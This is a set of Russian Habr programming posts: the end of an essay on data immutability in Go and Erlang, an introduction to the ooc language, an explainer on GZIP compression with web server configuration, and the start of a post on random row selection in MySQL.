STRING: James Bond
LIST: [0, 1, 2, 3]
```
#### Преимущества и недостатки Python в данном контексте
Кажется, что в питоне все очень плохо? Нет, это просто другая философия языка. Обычно она выражается фразой «Мы все тут взрослые, ответственные люди» (*We are all consenting adults here*). Т.е. предполагается, что никто специально не будет отклоняться от принятых норм. Концепция не бесспорная, но право на жизнь имеет.
Что хорошо:
* открыто декларируется, что за правами доступа должны следить программисты, а не компилятор или интерпретатор
* есть общепринятое соглашение об именах защищенных и приватных полей и методов
* некоторые нарушения прав доступа легко выявляются на код-ревью
Что плохо:
* на уровне языка невозможно ограничить доступ к полям класса
* все держится исключительно на доброй воле и честности разработчиков
* ошибки проявляются только во время выполнения
Go
--
Еще один язык, который я периодически щупаю (в основном просто читаю статьи), хотя пока не написал на нем ни строчки коммерческого кода. Ключевое слово `const` тут в принципе есть, но константами могут быть только строки и целочисленные значения, известные во время компиляции (т.е. `constexpr` из C++). А поля структуры — не могут. Т.е. если поля объявлены открытыми, то получается как в питоне — меняй, кто хочешь. Неинтересно. Даже пример кода приводить не буду.
Ну ладно, пусть поля будут приватными, и пусть их значения можно получить через вызовы отрытых методов. Получится ли наломать дров в Go? Конечно, тут ведь тоже есть рефлексия.
**foo.go**
```
package foo
import "fmt"
type Foo struct {
intValue int
strValue string
listValue []int
}
func (foo *Foo) IntValue() int {
return foo.intValue;
}
func (foo *Foo) StrValue() string {
return foo.strValue;
}
func (foo *Foo) ListValue() []int {
return foo.listValue;
}
func (foo *Foo) String() string {
result := fmt.Sprintf("INT: %d\nSTRING: %s\nLIST: [", foo.intValue, foo.strValue)
for i, num := range foo.listValue {
if i > 0 {
result += ", "
}
result += fmt.Sprintf("%d", num)
}
result += "]"
return result
}
func New(i int, s string, l []int) Foo {
return Foo{intValue: i, strValue: s, listValue: l}
}
```
**api.go**
```
package api
import "foo"
type Api struct {
foo foo.Foo
}
func (api *Api) GetFoo() *foo.Foo {
return &api.foo
}
func New() Api {
api := Api{}
api.foo = foo.New(42, "Fish", []int{0, 1, 2, 3})
return api
}
```
**main.go**
```
package main
import (
"api"
"foo"
"fmt"
"reflect"
"unsafe"
)
func goodConsumer(foo *foo.Foo) {
// do nothing wrong with foo
}
func evilConsumer(foo *foo.Foo) {
reflectValue := reflect.Indirect(reflect.ValueOf(foo))
member := reflectValue.FieldByName("intValue")
intPointer := unsafe.Pointer(member.UnsafeAddr())
realIntPointer := (*int)(intPointer)
*realIntPointer = 7
member = reflectValue.FieldByName("strValue")
strPointer := unsafe.Pointer(member.UnsafeAddr())
realStrPointer := (*string)(strPointer)
*realStrPointer = "James Bond"
}
func main() {
apiInstance := api.New()
goodConsumer(apiInstance.GetFoo())
fmt.Println("*** After good consumer ***")
fmt.Println(apiInstance.GetFoo().String())
fmt.Println()
apiInstance = api.New()
evilConsumer(apiInstance.GetFoo())
fmt.Println("*** After evil consumer ***")
fmt.Println(apiInstance.GetFoo().String())
}
```
**Вывод**
```
*** After good consumer ***
INT: 42
STRING: Fish
LIST: [0, 1, 2, 3]
*** After evil consumer ***
INT: 7
STRING: James Bond
LIST: [0, 1, 2, 3]
```
Кстати строки в Go неизменяемые, как в Java. А слайсы и мапы — изменяемые, и в отличие от Java в ядре языка нет способа сделать их неизменяемыми. Только кодогенерация (поправьте, если я ошибаюсь). Т.е. даже если все сделать правильно, не использовать грязных трюков, просто возвращать слайс из метода — этот слайс всегда можно изменить.
Сообществу гоферов явно [не хватает](https://github.com/golang/go/issues/27975) неизменяемых типов, но в Go 1.x их точно не будет.
#### Преимущества и недостатки Go в данном контексте
На мой неискушенный взгляд по возможностям запрета менять поля структур Go находится где-то между Java и Python, ближе к последнему. При этом в Go нет (я не встречал, хотя искал) питоновского принципа про взрослых людей. Но есть: внутри одного пакета все имеет доступ ко всему, от констант остался только рудимент, наличие отсутствия неизменяемых коллекций. Т.е. если разработчик может какие-то данные считать, то с большой вероятностью он может чего-то туда и записать. Что, как и в питоне, передает большую часть ответственности от компилятора к человеку.
Что хорошо:
* все ошибки доступа проявляются во время компиляции
* грязные трюки на основе рефлексии хорошо заметны на ревью
Что плохо:
* понятия «набор данных только для чтения» просто нет
* невозможно ограничить доступ к полям структуры в пределах пакета
* чтобы защитить поля от изменений за пределами пакета, придется писать геттеры
* все ссылочные коллекции изменяемы
* с помощью рефлексии можно изменять даже приватные поля
Erlang
------
Это вне конкурса. Все-таки Erlang — язык с очень отличной от вышеупомянутых четырех парадигмой. Когда-то я изучал его с большим интересом, мне очень нравилось заставлять себя мыслить в функциональном стиле. Но практического применения этим навыкам я, к сожалению, не нашел.
Так вот, в этом языке значение переменной можно присвоить только один раз. И при вызове функции все аргументы передаются по значению, т.е. делается их копия (зато есть оптимизация хвостовой рекурсии).
**foo.erl**
```
-module(foo).
-export([new/3, print/1]).
new(IntValue, StrValue, ListValue) ->
{foo, IntValue, StrValue, ListValue}.
print(Foo) ->
case Foo of
{foo, IntValue, StrValue, ListValue} ->
io:format("INT: ~w~nSTRING: ~s~nLIST: ~w~n",
[IntValue, StrValue, ListValue]);
_ ->
throw({error, "Not a foo term"})
end.
```
**api.erl**
```
-module(api).
-export([new/0, get_foo/1]).
new() ->
{api, foo:new(42, "Fish", [0, 1, 2, 3])}.
get_foo(Api) ->
case Api of
{api, Foo} -> Foo;
_ -> throw({error, "Not an api term"})
end.
```
**main.erl**
```
-module(main).
-export([start/0]).
start() ->
ApiForGoodConsumer = api:new(),
good_consumer(api:get_foo(ApiForGoodConsumer)),
io:format("*** After good consumer ***~n"),
foo:print(api:get_foo(ApiForGoodConsumer)),
io:format("~n"),
ApiForEvilConsumer = api:new(),
evil_consumer(api:get_foo(ApiForEvilConsumer)),
io:format("*** After evil consumer ***~n"),
foo:print(api:get_foo(ApiForEvilConsumer)),
init:stop().
good_consumer(_) ->
done.
evil_consumer(Foo) ->
_ = setelement(1, Foo, 7),
_ = setelement(2, Foo, "James Bond").
```
**Вывод**
```
*** After good consumer ***
INT: 42
STRING: Fish
LIST: [0,1,2,3]
*** After evil consumer ***
INT: 42
STRING: Fish
LIST: [0,1,2,3]
```
Конечно, делать копии на каждый чих и так уберечь себя от порчи данных можно и в других языках. Но вот есть язык (и наверняка не один), где по-другому просто нельзя!
#### Преимущества и недостатки Erlang в данном контексте
Что хорошо:
* данные вообще невозможно изменить
Что плохо:
* копирование, копирование повсюду
Вместо выводов и заключения
---------------------------
И что в итоге? Ну помимо того, что я сдул пыль с пары давно прочитанных книжек, размял пальцы, написав бесполезную программку на 5 разных языках, и почесал ЧСВ?
Во-первых, я перестал считать, что C++ — самый надежный в плане защиты от активного дурака язык. Несмотря на все его гибкость и обильный синтаксис. Сейчас я склоняюсь к мысли, что Java в этом плане дает больше защиты. Это не очень оригинальный вывод, но для себя я нахожу его весьма полезным.
Во-вторых, я вдруг сформулировал для себя мысль, что очень грубо языки программирования можно разделить на те, которые пытаются на уровне синтаксиса и семантики ограничить доступ к тем или иным данным, и на те, которые даже не пытаются, перекладывая эти заботы на пользователей. Соответственно, порог вхождения, лучшие практики, требования к участникам командной разработки (как технические, так и личностные) — должны как-то отличаться в зависимости от выбранного ЯП. С удовольствием почитал бы на эту тему.
В-третьих: как бы язык ни пытался защитить данные от записи, при желании пользователь почти всегда может это сделать («почти» из-за Erlang’а). А если ограничиться мейнстримовыми языками — то просто всегда. И получается, что все эти `const` и `final` — не более чем, рекомендации, инструкции по правильному использованию интерфейсов. Не во всех языках это есть, но я все-таки предпочитаю иметь в своем арсенале такие средства.
И в-четвертых, самое главное: раз уж никакой (мейнстримовый) язык не может запретить разработчику сделать гадость, единственное, что этого разработчика удерживает — это собственная порядочность. И получается, что я, расставляя `const` в своем коде, не запрещаю что-то своим коллегам (и будущему себе), а оставляю инструкции, полагая, что они (и я) будут им следовать. Т.е. я **доверяю** своим коллегам.
Нет, я давно знаю, что современная разработка ПО — это в 99.99% случаев командная работа. Но мне везло, все мои коллеги были «взрослыми, ответственными» людьми. Для меня всегда как-то и было, и есть само собой разумеющимся, что все члены команды соблюдают установленные правила. Мой путь к осознанию того, что мы постоянно **доверяем** и **уважаем** друг друга был долгим, но, черт возьми, спокойным и безопасным.
#### P. S.
Если кому-то интересны использованные примеры кода, их можно взять [здесь](https://github.com/mzinin/illusion_of_immutability). | https://habr.com/ru/post/447478/ | null | ru | null |
# «OOC для C, — это как Scala для Java»
Сегодня на *Hacker News* наткнулся на пост о (похоже очень) новом языке "[ooc](http://ooc-lang.org/)". Бросил на день все дела, занялся ковырятельством — уж больно интересно выглядит.
Итак, "*ooc* — это современный, объектно-ориентированный, функционально(ватый), высокоуровневый, низкоуровневый, секси язык программирования". ([Именно секси](http://ooc-lang.org/) его и представляют разработчики, ну а я бы добавил что еще и "*компилируемый*")
По сути — *ooc* — транслятор языка высокого уровня в **C** со сборщиком мусора.
Как выразился один из посетителей сайта: "*ooc для C, — это как Scala для Java*" (jimbokun[@](http://news.ycombinator.com/item?id=883318)*HN*).
Обязательный «Hello, World» на ooc:
**hello.ooc**:
> `"Hi, softer world =)" println()`
на выходе **hello.c** и **hello.exe**.
ooc-компилятор транслирует это в c-код и использует доступный *c* компилятор (gcc, mingw, icc, tinycc) чтобы сделать из этого hello.exe (или ./hello). Поддержка *tinycc* заявлена, но в реальности [ждем](http://www.reddit.com/r/programming/comments/9o6mc/i_will_give_99_to_anyone_completing_c99_support/) поддержки C99 в самом *tinycc* (автор обещал сделать обходные пути, но пока не работает), поэтому наслждаемся пока что довольно неслабого размера .exe'шниками (gcc от mingw других не делает).
Итак, что у нас **уже есть в языке**: классы, объекты, строгая типизация, угадывание типов (`n := "Beer" length()`), chaining (`.dothis().dothat()`), совместимость с c-библиотеками, абстрактные классы, шаблоны из C++, списки, разреженные(sparse) списки, хеши (ArrayList, SparseList, HashMap), `for (i in list) { ... }`, обертки для c-шных функций и классов, перегрузка операторов, полиморфизм, сборщик мусора (отключаемый), import file/name (не нужны .h, но .h можно использовать как extern), closures, eiffel's contracts, исключения, reflections, pattern matching, ranges, ternary operator, bindings, generics, coroutines, GTK, SDL, OpenGL, GLU, GLUT bindings…
Как сказал товарищ varjag[@](http://news.ycombinator.com/item?id=883069)HN: «Я думаю это розыгрыш, сделанный пользователями Ruby, но нигде этого в тексте не вижу.» Нет, этот язык существует на самом деле. Примеры, линки, установка, подводные коряги — под катом...
##### Еще примеры
**Функции**:
> `add: func(a, b : Int) -> Int {
>
> a + b
>
> }`
**Приятный for**:
> `for(i in 0..10) {
>
> printf("%d\n", i)
>
> }
>
>
>
> for(i in list) {
>
> printf("%d\n", i)
>
> }`
**Списки**:
> `ints := SparseList new()
>
> ints add(13)
>
> lucky := ints get(0)`
**ООП**:
> `Vector3f: class {
>
> x, y, z : Float
>
> init: func(=x, =y, =z)
>
> }`
ooc знает что x это float, поэтому тип можно и не указывать, как и то, что сохранять его в this x (в «ooc» точки перед методами и свойствами объекта не нужны). Аналог вышесказанного *на C++*:
> `class Vector3f {
>
> float x,y,z;
>
> Vector3f(float x\_, float y\_, float z\_): x(x\_), y(y\_), z(z\_) {};
>
> };
>
> // (да простят меня спецы C++ если тут что-то лишнее).`
**Chaining**:
> `me := RandomGuy new()
>
> me eatBreakfast() .drinkCoffee() .yawn() .goBackToBed()`
но при этом *не нужно* возвращать this в этих методах.
**Абстрактные классы**:
> `Animal: abstract class {
>
> shout: abstract func
>
> }
>
>
>
> Dog: class extends Animal {
>
> shout: func { "Woof, woof!" println() }
>
> }
>
>
>
> Cat: class extends Animal {
>
> shout: func { "Meoooww!" println() }
>
> }`
**malloc со сборщиком мусора**:
> `myRawArray := gc\_malloc(Int size \* 100) as Int\* // free не нужен.`
**GUI приложение**:
> `use gtk
>
> import gtk/[Gtk, Window] // acts like: import gtk/Gtk, gtk/Window
>
> exit: extern func
>
>
>
> main: func {
>
> w := Window new("Hi, world")
>
> w setUSize(800, 600) .connect("destroy", exit) .showAll()
>
> Gtk main()
>
> }`
**Чтение файла**
> `import io/FileReader
>
>
>
> main: func {
>
> fr := FileReader new("/etc/hosts")
>
>
>
> while (fr hasNext())
>
> fr read() print()
>
>
>
> }`
**coroutines(!)** (передача исполнения кода из одной подпрограммы в другую без переполнения стека):
> `import coroutine/Coro
>
> firstCoro, secondCoro : Coro
>
>
>
> secondTask: func (context: Pointer) {
>
> num := 0
>
> printf("secondTask created with value %d\n", (context as Int\*) @)
>
> while (true) {
>
> printf("secondTask: %d %d\n", secondCoro bytesLeftOnStack(), num += 1)
>
> secondCoro switchTo(firstCoro)
>
> }
>
> }
>
>
>
> firstTask: func (context: Pointer) {
>
> value := 2
>
> num := 0
>
> printf("firstTask created with value %d\n", (context as Int\*) @)
>
> secondCoro = Coro new()
>
> firstCoro startCoro(secondCoro, value&, secondTask)
>
> while (true) {
>
> printf("firstTask: %d %d\n", firstCoro bytesLeftOnStack(), num += 1)
>
> firstCoro switchTo(secondCoro)
>
> }
>
> }
>
>
>
> main: func {
>
> mainCoro := Coro new()
>
> value := 1
>
> mainCoro initializeMainCoro()
>
> firstCoro = Coro new()
>
> mainCoro startCoro(firstCoro, value&, firstTask)
>
> }`
Из того, что нашлось еще в исходниках/на блоге: **atexit, iniparser, filewriter, list, map, stack, os (launch,subprocess), regexp, threads, i/o, events**.
**GTK/SDL/OpenGL/GLU/GLUT bindings.**
Итак, язык довольно-таки действительно «секси». К сожалению, конечно, пока что сыроват. Много ошибок и проблем, но если Вы любите пожить на острие — добро пожаловать в мир хакинга.
##### Установка ooc
Что понадобится?
1. [git](http://git-scm.com/download) (нужен чтобы скачать дистрибутив)
2. [Java JDK](http://java.sun.com/javase/downloads/index.jsp#jdk) 5 или выше
3. gcc под Linux или [MingW](http://tdragon.net/recentgcc/) под Windows (ссылка не ведет на [mingw.org](http://mingw.org), а на более современную сборку, хотя может сейчас и настоящий mingw догнал gcc 4)
4. [Ant](http://ant.apache.org/bindownload.cgi) (система сборки, типа «make»)
**JAVA???** *Скомпилированный файл **не использует Java VM**. Только сам транслятор ooc->c использует Java (прозрачно для Вас). Конечный пользователь получает нативный(native) код — проще говоря: .exe, который не требует Java ни в каком виде.*
Ставим все вышесказанное, под Виндой добавляем папки `git`, mingw/`bin`, java/`bin`, ant/`bin` в PATH (в линуксе после yum install/sudo apt-get все уже будет само настроено).
*Проверка на правильность PATH:* запустите по порядку команды «git», «javac», «ant», «gcc» в командной строке. Если что-то не нашлось («неправильно указан путь или имя файла») — значит ищем куда это конкретное распаковывали и добавляем в PATH путь к нему.
К.О.: PATH указывается в *Windows+Break, Дополнительно, Переменные среды, в нижнем окошке, Изменить*. После каждого изменения надо будет нажимать OK и запускать заново командную строку. Разделители; (точка с запятой).
Переходим в командную строку и дальше делаем:
> `git clone git://github.com/nddrylliog/ooc.git
>
> cd ooc/
>
> ant`
Если все успешно, находим где собрался файл `ooc.jar` — это примерно папка `ooc/bin/ooc.jar`.
Делаем (под Виндой) файлик ooc.bat и кладем куда-нибудь в PATH:
> `java -jar d:\ooc\bin\ooc.jar %\*`
(здесь вписываем свой путь к своему ooc.jar — см.выше)
под Линуксом делаем:
> `sudo cp utils/ooc /usr/bin/
>
> export OOC\_DIST=/home/username/ooc/`
если скачали в /home/username/ooc/
Делаем `hello.ooc`:
> `main: func {
>
> "Hello world!" println()
>
> }`
теперь делаем:
> `ooc hello.ooc -r`
и в идеале получаем hello.exe. ("-r" — это «run», еще можно "-noclean" — не удалять сгенеренные .c исходники).
##### Ну, а работает?
… а на деле — язык еще сырой. Серьезно сырой, так что наверняка получаем какую-нибудь ошибку и заходим на irc.freenode.com канал #ooc-lang. Товарищ «nddryliog» — автор языка. Задаем вопросы, получаем ответы. (Я там иногда появляюсь как «slavav»).
Да и кстати, язык развивается, ребята-авторы *не прочь обсуждать даже изменения или нововведения в синтаксис языка* на канале (сами пишут — типа "*предлагайте новшества для внесения в язык*, будем думать как сделать"). Плюс тут в том, что нет какой-то большой организации или комитета стоящего за языком, так что все развивается быстро и даже Ваше личное мнение может быть учтено.
На деле hello.exe мне получить удалось, а вот с FileReader к примеру под виндой процесс глухо завис. Но разработчики трудятся, ищут, доделывают. Канал #ooc-lang очень дружелюбен и люди реально помогают с проблемами в реальном времени (особенно если *nddryliog* в онлайне).
С другой стороны, есть Rock — компилятор *ooc* написанный на самом *ooc*. Так что не думаю что все настолько плохо. Просто у авторов Linux и они больше под ним тестируют, поэтому совместимость с виндой пока менее чем великолепная.
Да, если будет тормозить компиляция — отключайте антивирусы. У меня hello.exe компилировался 30 секунд, при отключенном антивире (Comodo) за 3 секунды.
Если Вам на канале помогут — обновить версию языка можно с помощью: "`git pull && ant clean && ant`".
Еще на аглицком:
[Главная страница, примеры](http://ooc-lang.org/)
[Установка ooc](http://ooc-lang.org/setup)
[Блог проекта](http://ooc-lang.org/blog) (must read!)
[Обсуждение на Hacker News (вопросы-ответы)](http://news.ycombinator.com/item?id=882864)
[docs.ooc-lang.org](http://docs.ooc-lang.org/) — полезная документация, хотя и мало, например, о том [как делать код на *c* доступным из *ooc*](http://docs.ooc-lang.org/bindings.html).
[Bindings для GTK, GL и т.п.](http://github.com/nddrylliog) + Rock — Экспериментальный компилятор ooc написанный на самом ooc.
Bindings скачиваются и экспериментальным путем установлено, что распаковывать их в `src/sdk` относительно папки *ooc*. (Через FileMon смотрел где ooc их ищет, на сайте про это ни слова).
##### Лайценз
Кстати, код *ooc* распространяется под *BSD лицензией*, что на русском значит: «ты можешь *скачивать, использовать*, можешь петь блюзы и мести двор, только не пыли! Можешь *продавать*, покупать, никаких *исходников* никуда *открывать не надо*. Если обещаешь *не подавать в суд* — можешь распечатать код и сунуть лист в нос. Только *автора указывай*.» (Для ясности — автор языка — не я, к языку никакого отношения не имею, просто делюсь *перспективной* находкой с сообществом).
##### OOC. We'll run out of slogans eventually
Слоганы на [главной](http://ooc-lang.org/) проекта веселые — меняются при рефреше. Среди них «Y2k совместимый» :), «Ваша страховка от скуки», «Объектно-ориентированный, с подвывертом», «Рукодельное хакерство», «Ошибка, доведенная до совершенства» и «У нас кончатся слоганы, рано или поздно»…
##### Документация
ooc-lang.org — [Created](http://nic.ru/whois/?query=ooc-lang.org) On: *30-May-2009*, так что разбираем, пока горячее. (В общем, языку — 5 месяцев)
Тут, да, беда. Авторы сами признают это, так что все с чем разберетесь по ходу дела — старайтесь публиковать — поможете следующим.
**Еще одна подводная коряга** — буквально на днях гит репозиторий сменил свою дислокацию, так что Вы можете обнаруживать ссылки на github.com, которых не существует, в этом случае заменяйте «[github.com](http://github.com/)**amoswenger**/...» в URL на -> «[github.com](http://github.com/)**nddrylliog**/...».
Source code was highlighted with [Source Code Highlighter](http://virtser.net/blog/post/source-code-highlighter.aspx).
Йои Хаджи,
[вид с Хабра](http://yoihj.habrahabr.ru/blog/) | https://habr.com/ru/post/72538/ | null | ru | null |
# Как работает сжатие GZIP
В жизни каждого мужчины наступает момент, когда трафик растёт и ~~сервак умирает~~ необходимо задуматься об оптимизации. В последнем дайджесте PHP ([№ 40](http://habrahabr.ru/company/zfort/blog/220995/)) была упомянута ссылкой статья «How GZIP Compression Works». Исходя из [статистики](http://w3techs.com/technologies/details/ce-gzipcompression/all/all), 56% веб-сайтов используют GZIP. Я надеюсь, эта статья раскроет перед читателем достоинства этой технологии.
*В тексте возможны ошибки (делал вычитку несколько раз, но всё же вдруг), поэтому заранее прошу прощения и прошу сообщать мне обо всех проблемах через личные сообщения, если какая-то часть перевода покажется вам некорректной.*
Даже в современном мире, со скоростным интернет соединением и неограниченными хранилищами информации, сжатие данных по-прежнему актуально, особенно для мобильных устройств и стран с медленным интернет-соединением. Этот пост описывает метод де-факто сжатия без потерь для сжатия текстовых данных на веб-сайтах: GZIP.
#### GZIP compression
GZIP обеспечивает сжатие без потерь, иными словами, исходные данные можно полностью восстановить при распаковке. Он основан на алгоритме DEFLATE, который использует комбинацию алгоритма LZ77 и алгоритма Хаффмана.
##### Алгоритм LZ77
Алгоритм LZ77 заменяет повторные вхождения данных на «ссылки». *Т.е. если в имеющихся данных какая-то цепочка элементов встречается более одного раза, то все последующие её вхождения заменяются «ссылками» на её первый экземпляр. Алгоритм прекрасно рассмотрен [horror\_x](https://habr.com/ru/users/horror_x/) и описан [здесь](http://habrahabr.ru/post/141827/#LZ77)*. Каждая такая ссылка имеет два значения: смещение и длина.
Давайте рассмотрим пример:
> Original text: «ServerGrove, the PHP hosting company, provides hosting solutions for PHP projects» (81 bytes)
>
> LZ77: «ServerGrove, the PHP hosting company, p<3,32>ides<9,26>solutions for<5,52><3,35>jects» (73 bytes, assuming that each reference is 3 bytes)
Как вы могли заметить, слова «hosting» и «PHP» повторяются, поэтому во второй раз, когда подстрока найдена, она будет заменена ссылкой. Есть и другие совпадения, такие как «er», но т.к. это незначительно *(в данном случае — «er» отсутствует в других словах)*, остается оригинальный текст.
##### Кодирование Хаффмана
Кодирование Хаффмана является методом кодирования с переменной длиной, которая назначает более короткие коды к более частым «символам». Проблема с переменной длиной кода, как правило в том, что нам нужен способ узнать, когда код закончился и начался новый, чтобы расшифровать его.
Кодирование Хаффмана решает эту проблему, создав код префикса, где ни одно кодовое слово не является префиксом другого. Это может быть более понятно на примере:
> >Original text: «ServerGrove»
>
> ASCII codification: «01010011 01100101 01110010 01110110 01100101 01110010 01000111 01110010 01101111 01110110 01100101» (88 bits)
ASCII представляет собой систему кодировки символов с фиксированной длиной, так что буква «е», которая повторяется три раза, а также является наиболее часто встречаемой буквой в английском языке, имеет такой же размер как буква «G», которая появляется только один раз. Используя эту статистическую информацию, Хаффман может создать наиболее оптимизированную систему
> Huffman: «1110 00 01 10 00 01 1111 01 110 10 00» (27 bits)
Метод Хаффмана позволяет нам получить более короткие коды для «e», «r» и «v», в то время как «S» и «G» получаются более длинными. Объяснения, как использовать метод Хаффмана, выходят за рамки этого поста, но если вы заинтересовались, я рекомендую вам ознакомиться с отличным видео на [Computerphile](https://www.youtube.com/watch?v=umTbivyJoiI) *(или статьей на [Хабре](http://habrahabr.ru/post/144200/))*.
DEFLATE как алгоритм, который используется в GZIP сжатии, является комбинацией обоих этих алгоритмов.
##### Является ли GZIP лучшим метод сжатия?
Ответ — нет. Есть другие методы, которые дают более высокие показатели сжатия, но существует несколько хороших причин использовать этот.
Во-первых, даже при том что GZIP не самый лучший метод сжатия, он обеспечивает хороший компромисс между скоростью и степенью сжатия. Сжатие и распаковка у GZIP происходят быстро и степень сжатия на высоком уровне.
Во-вторых, нелегко внедрить новый глобальный метод сжатия данных, который смогут использовать все. Браузерам потребуется обновление, что на сегодняшний день гораздо проще за счёт автообновления. Как бы то ни было, браузеры — не единственная проблема. Chromium пытался добавить поддержку BZIP2, более лучшего метода основанного на преобразовании Барроуза-Уилера, но от него пришлось отказаться, т.к. некоторые промежуточные прокси-серверы искажали данные, т.к. не могли распознать заголовки bzip2 и пытались обработать gzip контент. Баг-репорт доступен [здесь](https://code.google.com/p/chromium/issues/detail?id=14801).
##### GZIP + HTTP
Процесс получения сжатого контента между клиентом (браузером) и сервером достаточно прост. Если у браузера есть поддержка GZIP/DEFLATE, он даёт серверу понять это благодаря заголовку “Accept-Encoding”. Тогда, сервер может выбрать — отправлять содержимое в сжатом или оригинальном виде.
##### Реализация
Спецификация DEFLATE обеспечивает некоторую свободу разработчикам реализовать алгоритм с использованием различных подходов, пока полученный поток совместим со спецификацией.
###### GNU GZIP
Реализация GNU является наиболее распространенной и была разработана, чтобы стать заменой для утилиты архивации, свободной от запатентованных алгоритмов. Чтобы сжать файл с помощью утилиты GNU GZIP:
> $ gzip -c file.txt > file.txt.gz
Существует 9 уровней сжатия, от «1» (самого быстрого с наименьшим коэффициентом сжатия) до «9» (самого медленного с лучшей степенью сжатия). По умолчанию, используется «6». Если вам необходимо максимальное сжатие за счёт использования большего объёма памяти и времени, используйте флаг "-9" (или "-best"):
> $ gzip -9 -c file.txt > file.txt.gz
###### 7-zip
7-zip реализуется алгоритм DELFATE иначе и обычно архивирует с б**о**льшим коэффициентом сжатия. Чтобы максимально сжать файл:
> 7z a -mx9 file.txt.gz file.txt
7-zip так же доступен для Windows и обеспечивает реализацию для других методов сжатия, таких как 7z, xz, bzip2, zip и прочих.
###### Zopfli
Zopfli идеально подходит для одноразового сжатия, например в ситуациях, когда файл единажды сжимается и многоразово используется. Он в 100 раз медленнее, но сжатие на 5% лучше, чем у других. [Хабрапост](http://habrahabr.ru/post/171181/).
##### Включение GZIP
###### Apache
Модуль [mod\_deflate](http://httpd.apache.org/docs/2.2/mod/mod_deflate.html) обеспечивает поддержку GZIP, так что ответ сервера сжимается на лету до его передачи клиенту через сеть. Чтобы включить сжатие текстовых файлов, необходимо дополнить .htaccess строками:
> AddOutputFilterByType DEFLATE text/plain
>
> AddOutputFilterByType DEFLATE text/html
>
> AddOutputFilterByType DEFLATE text/xml
>
> AddOutputFilterByType DEFLATE text/css
>
> AddOutputFilterByType DEFLATE application/xml
>
> AddOutputFilterByType DEFLATE application/xhtml+xml
>
> AddOutputFilterByType DEFLATE application/rss+xml
>
> AddOutputFilterByType DEFLATE application/javascript
>
> AddOutputFilterByType DEFLATE application/x-javascript
Существует несколько известных багов в некоторых версиях браузеров, поэтому рекомендуется\* также добавить:
> BrowserMatch ^Mozilla/4 gzip-only-text/html
>
> BrowserMatch ^Mozilla/4\.0[678] no-gzip
>
> BrowserMatch \bMSIE !no-gzip !gzip-only-text/html
>
> Header append Vary User-Agent
*\*это решение на текущий момент уже потеряло актуальность, как и вышеуказанные браузеры, поэтому данную информацию можно воспринимать в ознакомительных целях*
Кроме того, можно использовать предварительно сжатые файлы вместо того, чтобы сжимать их каждый раз. Это особенно удобно для файлов, которые не меняются при каждом запросе, например CSS и JavaScript, которые могут быть сжаты с использованием медленных алгоритмов. Для этого:
> RewriteEngine On
>
> AddEncoding gzip .gz
>
> RewriteCond %{HTTP:Accept-encoding} gzip
>
> RewriteCond %{REQUEST\_FILENAME}.gz -f
>
> RewriteRule ^(.\*)$ $1.gz [QSA,L]
>
>
Это даёт Apache понять, что файлы с расширением .gz должны предоставляться сжатыми (линия 2), нужно проверить доступность принятия gzip браузером (линия 3), и если сжатый файл существует (линия 4), мы добавляет .gz для запрашиваемого файла.
###### Nginx
Модуль [ngx\_http\_gzip\_module](http://nginx.org/en/docs/http/ngx_http_gzip_module.html) позволяет сжимать файлы с помощью GZIP на лету, в то время как [ngx\_http\_gzip\_static\_module](http://nginx.org/en/docs/http/ngx_http_gzip_static_module.html) позволяет отправлять предварительно сжатые файлы с “.gz” расширением вместо обычных.
Пример конфигурации выглядит следующим образом:
> gzip on;
>
> gzip\_min\_length 1000;
>
> gzip\_types text/plain application/xml;
##### GZIP + PHP
Хотя обычно сжимать данные используя PHP не рекомендуется, так как это довольно медленно, сделать это можно, используя модуль [zlib](http://www.php.net/manual/en/intro.zlib.php). Например, используем максимальное сжатие на библиотеке jQuery.min:
```
$originalFile = __DIR__ . '/jquery-1.11.0.min.js';
$gzipFile = __DIR__ . '/jquery-1.11.0.min.js.gz';
$originalData = file_get_contents($originalFile);
$gzipData = gzencode($originalData, 9);
file_put_contents($gzipFile, $gzipData);
var_dump(filesize($originalFile)); // int(96380)
var_dump(filesize($gzipFile)); // int(33305)
```
##### Вместо вывода (примечание переводчика)
Несмотря на то, как чесались руки добавить в статью автора собственные пояснения алгоритмов, статистику и результаты тестов сравнения, перевод осуществлён *практически* без вмешательств со стороны переводчика. [Перевод статьи](http://blog.servergrove.com/2014/04/14/gzip-compression-works/) осуществлён с разрешения автора и портала ServerGrove. | https://habr.com/ru/post/221849/ | null | ru | null |
# Ускоряем выборку произвольных записей MySQL
Последнее время оживилась публика с вопросом случайной выборки из таблицы. Решений по оптимизации полно, и нового сейчас я вам наверное ничего не покажу, просто напомню про основные методы оптимизации — упрощение запроса и индексацию. Без предисловий про фриленсеров, сразу к делу ;)
Создаю таблицу:
> `CREATE TABLE `a` (
>
> `id` int(8) unsigned NOT NULL AUTO_INCREMENT,
>
> `md5` char(32) NOT NULL
>
> PRIMARY KEY (`id`)
>
> )
>
> INSERT INTO `a` (`id`) VALUES (null),(null),(null),(null)... и так 163712 раза ;)
>
> UPDATE `a` SET md5 = MD5(`id`);`
Такой таблицы на моём допотопном компьютере достаточно, чтобы проверить эффективность.
Вот простая выборка ORDER BY RAND:
> `SELECT * FROM `a` ORDER BY RAND() LIMIT 10; -> (10 rows, Query took 0.3345 sec)
>
> SELECT * FROM `a` ORDER BY RAND() LIMIT 10; -> (10 rows, Query took 0.2538 sec)
>
> SELECT * FROM `a` ORDER BY RAND() LIMIT 10; -> (10 rows, Query took 0.2299 sec)`
Создаю индексированное поле для того чтобы не делать full-scan всей таблицы:
> `ALTER TABLE `a` ADD `f` SMALLINT(3) UNSIGNED NOT NULL, ADD INDEX (`f`);
>
> UPDATE `a` SET `f` = RAND()*1000;`
Число 1000 — это основной «ускоряющий» фактор. Им я уменьшаю таблицу в которой будет проходить обыкновенный ORDER BY RAND в 1000 раз. При таблице 163712 рядов должно получится примерно 164 ряда на один f. Проверяем:
> `SELECT COUNT(1) FROM `a` WHERE `f` = 123; -> 169`
Рандом есть рандом, равномерное распределение было бы хорошо, но это фантастика (хотя знаете, можно воспользоваться первыми знаками MD5(`id`) и перевести его в INT, равномернее некуда). Итак, сейчас на один f мне попадались и по 200 рядов и по 100. Если этот показатель со временем становится неэффективным, то всегда можно увеличить фактор и получить, скажем, по 25-75 рядов на индекс. Главное чтобы там было как минимум столько рядов, сколько нам нужно вытаскивать рандомно. Колонку f можно перегенерировать периодически, или после 1000 обращений к таблице. При вставке новые ряды получают значение f = 0, что на качество выборок сильно не повлияет, либо задавайте рандомные значения при вставках тоже.
Делаю тестовую выборку 10 рядов используя то что наиндексировал:
